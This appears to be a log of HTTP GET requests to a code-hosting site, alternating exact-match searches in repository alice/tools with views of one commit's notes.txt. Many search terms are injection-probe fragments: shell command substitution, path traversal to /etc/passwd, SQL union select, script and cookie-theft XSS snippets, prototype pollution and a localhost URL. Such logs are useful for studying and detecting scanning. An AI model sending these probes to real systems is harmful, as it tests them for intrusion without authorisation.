{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=feat%2Fdocker-support&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=ls%20-la&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=sed%20-i&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=sed%20-i&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%2Fbin%2Fsh&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%60make%20check%60&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%60make%20check%60&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%60whoami%60&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%60whoami%60&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=fetch%28&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=fetch%28&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%24%7BVAR%7D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%24%7BVAR%7D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%24%28pwd%29&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%24%28pwd%29&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=process.env&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=process.env&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%3Cimg%20src%3D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%3Cimg%20src%3D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%3Cscript%3E&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%3Cscript%3E&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=SELECT%20%2A%20FROM%20users%20WHERE&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=SELECT%20%2A%20FROM%20users%20WHERE&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=union%20select&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=union%20select&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=http%3A%2F%2F127.0.0.1%3A8080&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=http%3A%2F%2F127.0.0.1%3A8080&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=..%2F&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=..%2F&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%2Fetc%2Fpasswd&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%2Fetc%2Fpasswd&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=eval%28&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=eval%28&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=chmod%20%2Bx&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=chmod%20%2Bx&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=echo%20%24PATH&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=echo%20%24PATH&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=java.lang.Runtime&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=java.lang.Runtime&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=document.cookie&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=document.cookie&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=alert%281%29&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=alert%281%29&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=__proto__&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=__proto__&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
